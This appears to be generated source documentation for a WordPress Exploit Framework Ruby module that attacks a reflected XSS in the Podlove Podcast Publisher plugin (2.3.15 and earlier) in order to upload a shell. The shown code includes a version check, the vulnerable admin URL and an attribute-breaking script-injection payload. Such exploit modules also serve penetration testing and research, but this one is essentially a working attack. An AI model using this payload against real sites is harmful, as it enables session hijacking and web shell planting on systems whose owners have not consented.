class Wpxf::Exploit::PodlovePodcastPublisherReflectedXssShellUpload

Public Class Methods

new() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Podlove Podcast Publisher <= 2.3.15 Reflected XSS Shell Upload',
    author: [
      'rastating'  # WPXF module
    ],
    references: [
      ['WPVDB', '8697'],
      ['URL', 'https://www.rastating.com/podlove-podcast-publisher-2-3-15-reflected-xss']
    ],
    date: 'Dec 14 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb, line 22
def check
  check_plugin_version_from_changelog('podlove-podcasting-plugin-for-wordpress', 'readme.txt', '2.3.16')
end
initial_script() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb, line 30
def initial_script
  create_basic_post_script(
    vulnerable_url,
    'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><a href=\\\""
  )
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb, line 26
def vulnerable_url
  normalize_uri(wordpress_url_admin, 'admin.php?page=podlove_episode_assets_settings_handle')
end